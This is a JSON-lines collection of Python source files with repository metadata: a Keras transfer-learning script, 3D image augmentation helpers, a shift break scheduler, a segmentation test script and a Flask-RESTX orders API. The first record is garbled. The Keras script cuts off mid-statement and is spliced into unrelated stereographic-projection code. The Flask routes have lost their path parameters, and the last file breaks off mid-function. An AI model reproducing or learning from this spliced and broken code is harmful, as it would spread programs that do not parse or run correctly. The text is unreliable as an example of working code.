{"seq_id": "33056793099", "text": "import os\nimport cv2\nimport numpy as np\nfrom keras.preprocessing.image import img_to_array, load_img\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder \nimport keras\nimport tensorflow as tf\nimport PIL\nfrom keras.applications.resnet50 import ResNet50 \nfrom keras.applications.xception import Xception\nfrom keras.applications.inception_v3 import InceptionV3\nfrom keras.applications.inception_resnet_v2 import InceptionResNetV2\nfrom keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, Dropout, InputLayer\nfrom keras.models import Sequential\nfrom keras import optimizers\nfrom keras import backend as K\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Model\nimport wandb\nfrom wandb.keras import WandbCallback\nfrom keras.callbacks import EarlyStopping\nfrom keras.regularizers import l2\nfrom keras.models import model_from_json\n\n\n\ntrain_folder ='gdrive/MyDrive/inaturalist_12K/train'\ntest_folder ='gdrive/MyDrive/inaturalist_12K/val'\nmodel_folder ='./model'\nIMG_DIM = (256,256,3)\nbatch_size =32\nsteps_per_epoch =250\nvalidation_steps =30\n\n\nconfiguration = {\n    \"model_name\" : 'inceptionresnetv2', #  replace value of model with either of the 4 - xception,inceptionv3, inceptionresnetv2, resnet\n    \"num_classes\" : 10,\n    \"no_layers_to_freeze\" :0,\n    \"epochs\": 15,\n    \"learning_rate\": 0.001,\n    \"optimizer\": 'momentum',#sgd,nesterov,adam,nadam,rmsprop\n    \"number_dense_layers\": 5,\n    \"activation\" : 'relu',#sigmoid,tanh\n    \"dropout\":0.1,\n    \"l2\": 0\n\n}\n\ndef define_classes():\n    classes =dict()\n    class_=[f for f in os.listdir(train_folder) if f.startswith('.')!=1]\n    for index,i in enumerate(class_):\n        if (i.startswith('.')!=1):\n            classes[index+1]= i\n    return classes\n\nclass pretrained_model():\n  \n  def __init__(self, model_name= configuration.get(\"model_name\"),num_classes= configuration.get(\"num_classes\"),epochs= configuration.get(\"epochs\"), num_frozen_layer = configuration.get(\"no_layers_to_freeze\"), learning_rate =configuration.get(\"learning_rate\"), optimizer = configuration.get(\"optimizer\"),activation = configuration.get(\"activation\"), no_dense_layers = configuration.get(\"number_dense_layers\"),dropoutp = configuration.get(\"dropout\"),l2 =configuration.get(\"l2\")):\n    self.model_name = model_name\n    self.num_classes = num_classes\n    self.classes = define_classes()\n    self.model = []\n    self.epochs = epochs\n    self.num_frozen_layer = num_frozen_layer\n    self.optimizer = optimizer\n    self.lr = learning_rate\n    self.activation = activation\n    self.no_dense_layers = no_dense_layers\n    self.dropout = dropoutp\n    self.l2 = l2\n\n    datagen = ImageDataGenerator(validation_split=0.1,rescale = 1./255.)\n    self.train = datagen.flow_from_directory(\n        train_folder, \n        subset='training',\n        batch_size=batch_size,\n        target_size=(256,256)\n    )\n\n    self.val = datagen.flow_from_directory(\n        train_folder,\n        subset='validation',\n        batch_size=batch_size,\n        target_size=(256,256)\n    )\n    datagen = ImageDataGenerator(rescale = 1./255.)\n    self.test_it = datagen.flow_from_directory(test_folder, batch_size=batch_size,target_size=(256,256))\n\n\n\n\n  def model_(self):\n\n    if(self.model_name =='resnet'):\n        model = ResNet50(weights='imagenet',include_top=False,input_shape=IMG_DIM)\n    elif (self.model_name =='xception'):\n        model = Xception(weights='imagenet',include_top=False,input_shape=IMG_DIM)\n    elif (self.model_name =='inceptionv3'):\n        model = InceptionV3(weights='imagenet',include_top=False,input_shape=IMG_DIM)\n    elif (self.model_name =='inceptionresnetv2'):\n        model = InceptionResNetV2(weights='imagenet',include_top=False,input_shape=IMG_DIM)\n\n    if self.num_frozen_layer == -1:\n      model.trainable = True\n    else:\n      for index,layer in enumerate(reversed(model.layers)):\n          if index  polar\n        r = torch.sin(phi) / (1 - torch.cos(phi))\n\n        # polar -> xy\n        ds['state'] = torch.stack([\n            r*torch.cos(Theta), r*torch.sin(Theta)], -1)\n\n        # deterministic pad: g: U → M ⊂ X\n        ds['state'] = F.pad(ds['state'], (0, 1))\n        return ds\n\n    def inverse(self, ds, **kwargs):\n        \"\"\" φ the zenith angle, 0 ≤ φ ≤ π, and θ the azimuth, -π ≤ θ ≤ π\n\n        :param ds:\n        :returns:\n\n        \"\"\"\n\n        # deterministic project: g⁻¹: X -> U\n        ds['state'] = ds['state'][:, :-1]\n\n        # xy -> polar coordinates\n        r = torch.norm(ds['state'], p=2, dim=1)\n        Theta = torch.atan2(ds['state'][:, 1], ds['state'][:, 0])\n\n        # polar -> unit-sphere\n        phi = 2*torch.arctan(1/r)\n        ds['state'] = torch.stack([phi, Theta], -1)\n\n        return ds\n", "repo_name": "Bawaw/pdm_tutorial", "sub_path": "regilib/regilib/core/invertible_modules/charts/spherical_stereographic_projections.py", "file_name": "spherical_stereographic_projections.py", "file_ext": "py", "file_size_in_byte": 1146, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "regilib.core.invertible_modules.invertible_module.InvertibleModule", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.sin", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.cos", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.cos", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.sin", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn.functional.pad", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.norm", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.atan2", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.arctan", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 40, "usage_type": "call"}]}
{"seq_id": "34425314647", "text": "import tensorflow as tf\nimport numpy as np\nfrom scipy import ndimage\n\n# zoom\n@tf.function\ndef zoom(volume):\n    \"\"\"Zoom the volume by a few degrees\"\"\"\n    \n    volume_shape = volume.shape\n    def augment_volume(volume):\n        min_zoom = 0.8\n        max_zoom = 1.2\n        z = np.random.sample() *(max_zoom-min_zoom) + min_zoom\n        zoom_matrix = np.array([[z, 0, 0, 0],\n                                [0, z, 0, 0],\n                                [0, 0, z, 0],\n                                [0, 0, 0, 1]])\n        return ndimage.affine_transform(volume, zoom_matrix, mode = \"nearest\", order = 1)\n    \n    augmented_volume = tf.py_function(augment_volume, [volume], tf.float32)\n    augmented_volume.set_shape(volume_shape)\n    return augmented_volume\n\n\n@tf.function\ndef rotate(volume):\n    \"\"\"Rotate the volume by a few degrees\"\"\"\n    \n    volume_shape = volume.shape\n    def augment_volume(volume):\n        # define some rotation angles\n        angles = [-20, -10, -5, 5, 10, 20]\n        # pick angles at random\n        angle = np.random.choice(angles)\n        # rotate volume\n        volume = ndimage.rotate(volume, angle, axes = (0,1), reshape = False, order = 3, mode = \"nearest\")\n        #volume[volume < 0] = 0\n        #volume[volume > 1] = 1\n        return volume\n\n    augmented_volume = tf.py_function(augment_volume, [volume], tf.float32)\n    augmented_volume.set_shape(volume_shape)\n    return augmented_volume\n\n\n@tf.function\ndef shift(volume):\n    \"\"\"Shift the volume along the x and y axes\"\"\"\n    \n    volume_shape = volume.shape\n    def augment_volume(volume):\n        # define some shifts in the three different directions\n        x_shift = np.random.uniform(-20, 20)\n        y_shift = np.random.uniform(-20, 20)\n        z_shift = np.random.uniform(0, 0)\n        # shift volume\n        volume = ndimage.shift(volume, [x_shift, y_shift, z_shift, 0], mode = \"nearest\", order = 0)\n        return volume\n\n    augmented_volume = tf.py_function(augment_volume, [volume], tf.float32)\n    augmented_volume.set_shape(volume_shape)\n    return augmented_volume\n\n\n@tf.function\ndef flip(volume):\n    \"\"\"Randomly flip the volume\"\"\"\n    volume_shape = volume.shape\n    def augment_volume(volume):\n        axis = np.random.choice([0,1])\n        if(axis == 0): # vertical flip\n            volume = volume[:,::-1,:,:]\n        return volume\n\n    augmented_volume = tf.py_function(augment_volume, [volume], tf.float32)\n    augmented_volume.set_shape(volume_shape)\n    return augmented_volume", "repo_name": "liherz/functional_outcome_prediction_dl_vs_neurologists", "sub_path": "python/functions/augmentation3d.py", "file_name": "augmentation3d.py", "file_ext": "py", "file_size_in_byte": 2492, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.random.sample", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "scipy.ndimage.affine_transform", "line_number": 19, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 19, "usage_type": "name"}, {"api_name": "tensorflow.py_function", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 21, "usage_type": "attribute"}, {"api_name": "tensorflow.function", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 35, "usage_type": "attribute"}, {"api_name": "scipy.ndimage.rotate", "line_number": 37, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 37, "usage_type": "name"}, {"api_name": "tensorflow.py_function", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 42, "usage_type": "attribute"}, {"api_name": "tensorflow.function", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 56, "usage_type": "attribute"}, {"api_name": "scipy.ndimage.shift", "line_number": 58, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 58, "usage_type": "name"}, {"api_name": "tensorflow.py_function", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 61, "usage_type": "attribute"}, {"api_name": "tensorflow.function", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 71, "usage_type": "attribute"}, {"api_name": "tensorflow.py_function", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tensorflow.function", "line_number": 66, "usage_type": "attribute"}]}
{"seq_id": "20678061391", "text": "from datetime import datetime as dt\nfrom datetime import timedelta\n\n\n\nca_breaks = list()\nsa_breaks = list()\nall_break_dicts = list()\nall_break_objs = list()\n\nidCount = 0\n\n\nclass team_member:\n\n    # No need to calculate all breaks at once just the next one for each person\n\n    def __init__(self, name='', time_in='', time_out='', lanes=True, nb=None):\n        self.generateID()\n        self.name = name\n        self.time_in = time_in\n        self.time_out = time_out\n        self.breaks_taken = 0\n        self.lanes = lanes\n        self.time_returned = time_in\n\n        hrs = dt.strptime(time_out, \"%I:%M %p\") - dt.strptime(time_in, \"%I:%M %p\")\n        self.hours = float(hrs.seconds/60/60)\n        self.hours_left = self.hours\n\n        if self.hours < 6:\n            self.breaks_needed = 1\n            self.need_lunch = False\n        elif self.hours >= 6 and 6.5 >= self.hours:\n            self.breaks_needed = 2\n            self.need_lunch = True\n        else:\n            self.breaks_needed = 3\n            self.need_lunch = True\n\n        if nb is None:\n            self.next_break()\n\n        print(f'object created {self.__dict__} \\n\\n\\n')\n\n    def generateID(self):\n        global idCount\n\n        self.id = idCount\n\n        idCount = idCount + 1\n\n    def next_break(self):\n\n        if self.breaks_taken == self.breaks_needed:\n\n            print('max breaks reached')\n            \n            print(f'self {[self]}')\n            print(f'Before removal: {all_break_objs}')\n            if self in all_break_objs:\n                all_break_objs.remove(self)\n                print('removing')\n                \n            print(f'After removal {all_break_objs}')\n            combine_n_sort()\n            return\n\n            \n\n        tr = dt.strptime(self.time_returned, \"%I:%M %p\")\n\n        till_nb = self.hours_left / \\\n            (self.breaks_needed - self.breaks_taken + 1)\n\n        # check if its lunch or 15\n        if self.breaks_taken == 1 and self.need_lunch:\n            nb_start = tr + timedelta(hours=till_nb) - timedelta(minutes=15)\n            nb_end = tr + timedelta(hours=till_nb) + timedelta(minutes=15)\n            self.need_lunch = False\n        else:\n            nb_start = tr + timedelta(hours=till_nb) - timedelta(minutes=7.5)\n            nb_end = tr + timedelta(hours=till_nb) + timedelta(minutes=7.5)\n\n        nb_start = round(nb_start)\n        nb_end = round(nb_end)\n\n        break_tupp = (dt.strftime(nb_start, \"%I:%M %p\"),\n                      dt.strftime(nb_end, \"%I:%M %p\"))\n\n        self.nb = break_tupp\n\n        if self.lanes:\n            compare(self, ca_breaks)\n        else:\n            compare(self, sa_breaks)\n\n        combine_n_sort()\n\n    def take_break(self):\n\n        print(f'inside taking break function for {self.name} ({[self]})')\n        self.time_returned = self.nb[1]\n\n        self.breaks_taken = self.breaks_taken + 1\n\n        hrs = dt.strptime(self.time_out, \"%I:%M %p\") - \\\n            dt.strptime(self.time_returned, \"%I:%M %p\")\n        self.hours_left = float(hrs.seconds/60/60)\n\n        if self.lanes:\n            bl = ca_breaks\n        else:\n            bl = sa_breaks\n\n        for i in range(0, len(bl)):\n            if self.id == bl[i-1].id:\n                print(f'{[bl[i-1]]} should equal {[self]}')\n                bl.pop(i-1)\n\n    def __str__(self):\n        return f\"ID: {self.id}\\nName: {self.name}\\nTime In: {self.time_in}\\nTime Out:{self.time_out}\\nHours: {self.hours}\\n\\nBreaks Needed: {self.breaks_needed}\\nBreaks Taken: {self.breaks_taken}\\nhours left:{self.hours_left}\\n\\n\\n\"\n\n\ndef quick_sort(list_of_dicts):\n    print('quick soarting')\n    breaks = []\n    length = len(list_of_dicts)\n    if length <= 1:\n        return (list_of_dicts)\n    else:\n        last_dict = list_of_dicts.pop()\n\n        pivot = last_dict.nb[0]\n        strp_pivot = dt.strptime(last_dict.nb[0], \"%I:%M %p\")\n\n    items_greater = []\n    items_lower = []\n\n    for dict in list_of_dicts:\n        if dt.strptime(dict.nb[0], \"%I:%M %p\") > strp_pivot:\n            items_greater.append(dict)\n        else:\n            items_lower.append(dict)\n\n        piv_list = []\n        piv_list.append(last_dict)\n\n    # print(f'Printing list of lastdict: {last_dict}')\n    return quick_sort(items_lower) + piv_list + quick_sort(items_greater)\n\n\ndef round(t):\n    # print('rounding')\n    # print(t)\n    t = t - timedelta(seconds=(t.second))\n    # print(t)\n    remainder = (t.minute) % 5\n    difference = 5 - remainder\n    #print(f'dif: {difference}')\n\n    if difference >= 5:\n        return (t)\n    elif difference >= 2.5:\n        return (t + timedelta(minutes=difference))\n    else:\n        return (t - timedelta(minutes=difference))\n\n\ndef compare(new_b, break_list):\n    # Compare the values being added with the tupple in the correct dict.\n    # if there is overlap, shift values around (5 min intervles right and left alternating)\n    # if there is a shift we need to make sure it didnt mess with the other breaks\n    # for loop nested within a while loop while shifted: for...\n    # after this we need to merge and sort our lists\n\n    # if the list doesnt have any break dicts in it: append\n    # else compare the current break with all values in the list.\n    # if overlap: call overlap function wich will return re arrange the list: then break out of the loop.\n    print('Comparing and fixing')\n    ol = False\n    b_start = new_b.nb[0]\n    b_end = new_b.nb[1]\n\n    count = 0\n\n    if len(break_list) > 0:\n        for b in break_list:\n\n            if b.nb[0] <= b_start and b_start < b.nb[1] or b.nb[0] < b_end and b_end <= b.nb[1]:\n                print(\n                    f\"We have an overlap between {b.name}:{b.nb}  and {new_b.name}: {new_b.nb} \")\n                ol = True\n                print(f'popping {break_list.pop(count).name}')\n                print(break_list)\n                # break_list.pop(count)\n                overlap(break_list, b, new_b, 0)\n                break\n            count = count + 1\n\n        if not ol:\n            print(f'no ol so appending {new_b.name}')\n            break_list.append(new_b)\n\n    else:\n        print(f'appending first item {new_b.name}')\n        break_list.append(new_b)\n\n\ndef overlap(bl, ol1, ol2, recur):\n\n    global new_ol1_tupp, new_ol2_tupp\n    print(\"in overlap function\")\n    print(ol1.nb)\n    print(ol2.nb)\n\n    ol1_start = dt.strptime(ol1.nb[0], \"%I:%M %p\")\n    ol1_end = dt.strptime(ol1.nb[1], \"%I:%M %p\")\n\n    ol2_start = dt.strptime(ol2.nb[0], \"%I:%M %p\")\n    ol2_end = dt.strptime(ol2.nb[1], \"%I:%M %p\")\n\n    while ol1_start <= ol2_start and ol2_start < ol1_end or ol1_start < ol2_end and ol2_end <= ol1_end:\n        print('Fixing overlap')\n        if ol1_start <= ol2_start:\n            # ol1 moves <------ and\n            # ol2 moves ---->\n            if recur % 2 == 0:\n                ol1_start = ol1_start - timedelta(minutes=5)\n                ol1_end = ol1_end - timedelta(minutes=5)\n            else:\n                ol2_start = ol2_start + timedelta(minutes=5)\n                ol2_end = ol2_end + timedelta(minutes=5)\n\n        else:\n            # can I pop the dict that im editiing or will i need to use an index for the second overlap\n            if recur % 2 == 0:\n                ol1_start = ol1_start + timedelta(minutes=5)\n                ol1_end = ol1_end + timedelta(minutes=5)\n\n            else:\n                ol2_start = ol2_start - timedelta(minutes=5)\n                ol2_end = ol2_end - timedelta(minutes=5)\n\n        recur = recur + 1\n\n        new_ol1_tupp = (dt.strftime(ol1_start, \"%I:%M %p\"),\n                        dt.strftime(ol1_end, \"%I:%M %p\"))\n        new_ol2_tupp = (dt.strftime(ol2_start, \"%I:%M %p\"),\n                        dt.strftime(ol2_end, \"%I:%M %p\"))\n\n        print(f'new tupp: {new_ol1_tupp}')\n        print(f'new tupp: {new_ol2_tupp}')\n\n    ol1.nb = new_ol1_tupp\n    ol2.nb = new_ol2_tupp\n\n    print(ol1.nb)\n    print(ol2.nb)\n    compare(ol1, bl)\n    compare(ol2, bl)\n\n    print()\n    print(f\"new list{bl}\")\n\n\ndef print_list(b):\n    # os.system('clear')\n    for p in b:\n        print(f'Name:{p.name}\\tNext Break{p.nb}')\n\n\ndef combine_n_sort():\n    global all_break_objs\n    global all_break_dicts\n\n    all_break_objs = sa_breaks + ca_breaks\n\n    if len(all_break_dicts) > 0:\n        all_break_dicts.clear()\n\n    all_break_objs = quick_sort(all_break_objs)\n    for obj in all_break_objs:\n        all_break_dicts.append(obj.__dict__)\n\n\n# ------------------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------------------\n\n\ndef loadDefaults():\n    all_break_dicts.clear()\n    all_break_objs.clear()\n    ca_breaks.clear()\n    sa_breaks.clear()\n\n    jake = team_member('Jake', '10:00 AM', '8:00 PM', False)\n    kyle = team_member('Kyle', '10:00 AM', '8:00 PM', False)\n    marco = team_member('Marco', '10:00 AM', '8:00 PM', False)\n    kaya = team_member('Kaya', '9:00 AM', '4:00 PM', True)\n    loucks = team_member('Loucks', '10:00 AM', '3:00 PM', False)\n\ndef addTM(name, timeIn, timeOut, lanes):\n    tempTM = team_member(name, timeIn, timeOut, lanes)\n", "repo_name": "jake-wilcox/myBreaks", "sub_path": "server/Classes.py", "file_name": "Classes.py", "file_ext": "py", "file_size_in_byte": 9089, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 78, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 79, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 83, "usage_type": "call"}, {"api_name": "datetime.datetime.strftime", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 88, "usage_type": "name"}, {"api_name": "datetime.datetime.strftime", "line_number": 89, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 89, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 107, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 107, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 108, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 108, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 135, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 135, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 141, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 141, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 156, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 165, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 167, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 217, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 217, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 218, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 218, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 220, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 220, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 221, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 221, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 229, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 230, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 232, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 233, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 238, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 239, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 242, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 243, "usage_type": "call"}, {"api_name": "datetime.datetime.strftime", "line_number": 247, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 247, "usage_type": "name"}, {"api_name": "datetime.datetime.strftime", "line_number": 248, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 248, "usage_type": "name"}, {"api_name": "datetime.datetime.strftime", "line_number": 249, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 249, "usage_type": "name"}, {"api_name": "datetime.datetime.strftime", "line_number": 250, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 250, "usage_type": "name"}]}
{"seq_id": "69968227430", "text": "import os\nimport tensorflow as tf\nimport numpy as np\nimport cv2\nfrom glob import glob\nfrom tqdm import tqdm\n\nos.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = \"2\"\n\nif __name__ == \"__main__\":\n    test_images = glob(\"segmentation_full_body_tik_tok_2615_img/images/*\")\n    model = tf.keras.models.load_model(\"weights/best.h5\", compile=False)\n\n    for path in tqdm(test_images, total=len(test_images)):\n        x = cv2.imread(path, cv2.IMREAD_COLOR)\n        original_image = x\n        h, w, _ = x.shape\n\n        x = cv2.resize(x, (256, 256))\n        x = x / 255.0\n        x = x.astype(np.float32)\n\n        x = np.expand_dims(x, axis=0)\n        pred_mask = model.predict(x)[0]\n\n        pred_mask = np.concatenate(\n            [\n                pred_mask,\n                pred_mask,\n                pred_mask\n            ], axis=2)\n        pred_mask = (pred_mask > 0.5) * 255\n        pred_mask = pred_mask.astype(np.float32)\n        pred_mask = cv2.resize(pred_mask, (w, h))\n\n        original_image = original_image.astype(np.float32)\n\n        alpha = 0.6\n        cv2.addWeighted(pred_mask, alpha, original_image, 1 - alpha, 0, original_image)\n\n        name = path.split(\"/\")[-1]\n\n        cv2.imwrite(f\"save_images/{name}\", original_image)\n", "repo_name": "EvelinaAlexiutenko/TikTok-full-body-segmentation", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1221, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ", "line_number": 8, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 11, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 12, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.expand_dims", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 33, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.addWeighted", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "17637051548", "text": "import http\nfrom flask_restx import Namespace,Resource,fields\nfrom flask_jwt_extended import jwt_required,get_jwt_identity\nfrom ..models.orders import Order\nfrom ..models.users import User\nfrom http import HTTPStatus\nfrom ..utils.db import db\n\n\norder_namespace=Namespace('orders',description=\"Namespace for orders\")\n\n\n\norder_model=order_namespace.model(\n    'Order',{\n        'id':fields.Integer(description=\"An ID\"),\n        'size':fields.String(description=\"Size of order\",required=True,\n            enum=['SMALL','MEDIUM','LARGE','EXTRA_LARGE']\n        ),\n        'order_status':fields.String(description=\"The status of the Order\",\n            required=True, enum=['PENDING','IN_TRANSIT','DELIVERED']\n        )\n    }\n)\n\norder_status_model=order_namespace.model(\n    'OrderStatus',{\n        'order_status':fields.String(description=\"Order status\",\n        enums=['PENDING','IN_TRANSIT','DELIVERED'])\n    }\n)\n\n@order_namespace.route('/orders/')\nclass OrderGetCreate(Resource):\n\n    @order_namespace.marshal_with(order_model)\n    @order_namespace.doc(\n        description=\"Retrieve all orders\"\n    )\n    @jwt_required()\n    def get(self):\n        \"\"\"\n            Get all orders\n        \"\"\"\n        orders=Order.query.all()\n\n        return orders ,HTTPStatus.OK\n\n    @order_namespace.expect(order_model)\n    @order_namespace.marshal_with(order_model)\n    @order_namespace.doc(\n        description=\"Place an order\"\n    )\n    @jwt_required()\n    def post(self):\n        \"\"\"\n            place a new order\n        \"\"\"\n\n        username=get_jwt_identity()\n\n\n        current_user=User.query.filter_by(username=username).first()\n\n        data=order_namespace.payload\n\n\n        new_order=Order(\n            size=data['size'],\n            quantity=data['quantity'],\n            flavour=data['flavour']\n        )\n\n        new_order.user=current_user\n\n        new_order.save()\n\n        return new_order , HTTPStatus.CREATED\n\n@order_namespace.route('/order/')\nclass GetUpdateDelete(Resource):\n\n    @order_namespace.marshal_with(order_model)\n    @order_namespace.doc(\n        description=\"Retrieve an order by ID\",\n        params={\n            \"order_id\":\"An ID for a given order\"\n        }\n    )\n    @jwt_required()\n    def get(self,order_id):\n        \"\"\"\n            Retrieve an order by its id\n        \"\"\"\n        order=Order.get_by_id(order_id)\n\n\n        return order ,HTTPStatus.OK\n\n\n    @order_namespace.expect(order_model)\n    @order_namespace.marshal_with(order_model)\n    @order_namespace.doc(\n        description=\"Update an order given an order ID\",\n        params={\n            \"order_id\":\"An ID for a given order\"\n        }\n    )\n    @jwt_required()\n    def put(self,order_id):\n\n        \"\"\"\n            Update an order with id\n        \"\"\"\n        \n\n        order_to_update=Order.get_by_id(order_id)\n\n        data=order_namespace.payload\n\n        order_to_update.quantity=data['quantity']\n        order_to_update.size=data['size']\n        order_to_update.flavour=data['flavour']\n\n        db.session.commit()\n\n        return order_to_update, HTTPStatus.OK\n\n\n\n    @jwt_required()\n    @order_namespace.marshal_with(order_model)\n    @order_namespace.doc(\n        description=\"Delete an order given an order ID\",\n        params={\n            \"order_id\":\"An ID for a given order\"\n        }\n    )\n    def delete(self,order_id):\n\n        \"\"\"\n            Delete an order with id\n        \"\"\"\n        order_to_delete=Order.get_by_id(order_id)\n\n        order_to_delete.delete()\n\n        return order_to_delete ,HTTPStatus.NO_CONTENT\n\n\n@order_namespace.route('/user//order//')\nclass GetSpecificOrderByUser(Resource):\n\n    @order_namespace.marshal_with(order_model)\n    @order_namespace.doc(\n        description=\"Get a user's specific order\",\n        params={\n            \"order_id\":\"An ID for a given order\",\n            \"user_id\":\"A user's ID\"\n        }\n    )\n    @jwt_required()\n    def get(self,order_id,user_id):\n\n        \"\"\"\n            Get a user's specific order\n        \"\"\"\n        \n\n        user=User.get_by_id(user_id)\n\n        order=Order.query.filter_by(id=order_id).filter_by(user=user).first()\n\n        return  order ,HTTPStatus.OK\n\n@order_namespace.route('/user//orders')\nclass UserOrders(Resource):\n\n    @order_namespace.marshal_list_with(order_model)\n    @order_namespace.doc(\n        description=\"Get orders of a user given the user ID\",\n        params={\n            \"user_id\":\"An ID for a given user\"\n        }\n    )\n    @jwt_required()\n    def get(self,user_id):\n        \"\"\"\n            Get all orders by a specific user\n        \"\"\"\n\n        user=User.get_by_id(user_id)\n\n        orders=user.orders\n\n        return orders, HTTPStatus.OK\n\n\n\n@order_namespace.route('/order/status/')\nclass UpdateOrderStatus(Resource):\n    \n    @order_namespace.expect(order_status_model)\n    @order_namespace.marshal_with(order_model)\n    @order_namespace.doc(\n        description=\"Update an order status given the order  ID\",\n        params={\n            \"order_id\":\"An ID for a given order\"\n        }\n    )\n    @jwt_required()\n    def patch(self,order_id):\n        \"\"\"\n            Update an order's status\n        \"\"\"\n\n        data=order_namespace.payload\n\n        